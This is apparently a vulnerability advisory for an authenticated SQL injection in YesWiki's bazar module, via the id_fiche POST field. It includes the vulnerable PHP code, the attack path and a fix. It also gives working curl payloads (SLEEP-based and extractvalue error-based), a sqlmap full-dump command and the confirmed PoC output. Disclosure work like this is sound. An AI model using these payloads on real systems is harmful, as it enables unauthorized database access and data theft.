YesWiki vulnerable to authenticated SQL Injection via id_fiche in EntryManager::formatDataBeforeSave()
Vulnerability Details
YesWiki bazar module contains a SQL injection vulnerability in tools/bazar/services/EntryManager.php at line 704. The $data['id_fiche'] value (sourced from $_POST['id_fiche']) is concatenated directly into a raw SQL query without any sanitization or parameterization.
Vulnerable Code (EntryManager.php:704):
$result = $this->dbService->loadSingle(
'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
"WHERE tag='" . $data['id_fiche'] . "'"
);
Attack Path:
- Attacker authenticates as any user (route requires
acl:{"+"}) - POST
/api/entries/{formId}withid_fiche=' OR SLEEP(3) OR ' ApiController::createEntry()checksisEntry($_POST['id_fiche'])→ false (not existing entry) → callscreate()create()→formatDataBeforeSave()→ SQL injection at line 704
dbService->loadSingle() passes raw string to mysqli_query() with no escaping. The escape() method exists but is NOT called here.
Docker PoC confirmation:
- Normal query:
SELECT MIN(time) as firsttime FROM wiki_pages WHERE tag='TestEntry'→2024-01-01 00:00:00 - Injected:
WHERE tag='' OR SLEEP(3) OR ''→ elapsed: 3.00s (SLEEP confirmed) - Time-based blind SQLi enables full database dump via binary search
Steps to Reproduce
Prerequisites: Any authenticated user account on a YesWiki instance with a bazar form (id_typeannonce) created.
Step 1 – Obtain session cookie (standard login via web UI or API)
Step 2 – Time-based blind SQLi (confirm vulnerability):
curl -s -X POST 'http://TARGET/?api/entries/1' \
-H 'Cookie: wikini_session=<SESSION>' \
-d "antispam=1&bf_titre=TestTitle&id_fiche=' OR SLEEP(3) OR '"
→ Response delays ~3 seconds confirming SQL injection.
Step 3 – Error-based SQLi (version exfil):
curl -s -X POST 'http://TARGET/?api/entries/1' \
-H 'Cookie: wikini_session=<SESSION>' \
-d "antispam=1&bf_titre=TestTitle&id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -"
→ Returns MySQL version in XPATH error: XPATH syntax error: '~8.4.8'
Step 4 – Full dump via sqlmap:
sqlmap -u 'http://TARGET/?api/entries/1' \
--data "antispam=1&bf_titre=T&id_fiche=test" \
-p id_fiche --cookie "wikini_session=<SESSION>" \
--dbms=MySQL --technique=BET --level=2
Docker PoC Output (confirmed)
[STEP 1] Normal input: Result (2024-01-01 00:00:00)
[STEP 2] id_fiche=' OR SLEEP(3) OR ' → Elapsed: 3.00s ← SLEEP(3) CONFIRMED
[STEP 3] id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -
DB_ERROR: (1105, "XPATH syntax error: '~8.4.8'")
Root Cause
In tools/bazar/services/EntryManager.php line 704:
$result = $this->dbService->loadSingle(
'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
"WHERE tag='" . $data['id_fiche'] . "'"
);
$data['id_fiche'] comes from $_POST['id_fiche'] (user input). DbService::escape() exists but is not called here. loadSingle() passes the raw string directly to mysqli_query().
Proposed Fix
Replace the vulnerable line with parameterized query or call $this->dbService->escape():
$tag = $this->dbService->escape($data['id_fiche']);
$result = $this->dbService->loadSingle(
'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
"WHERE tag='" . $tag . "'"
);
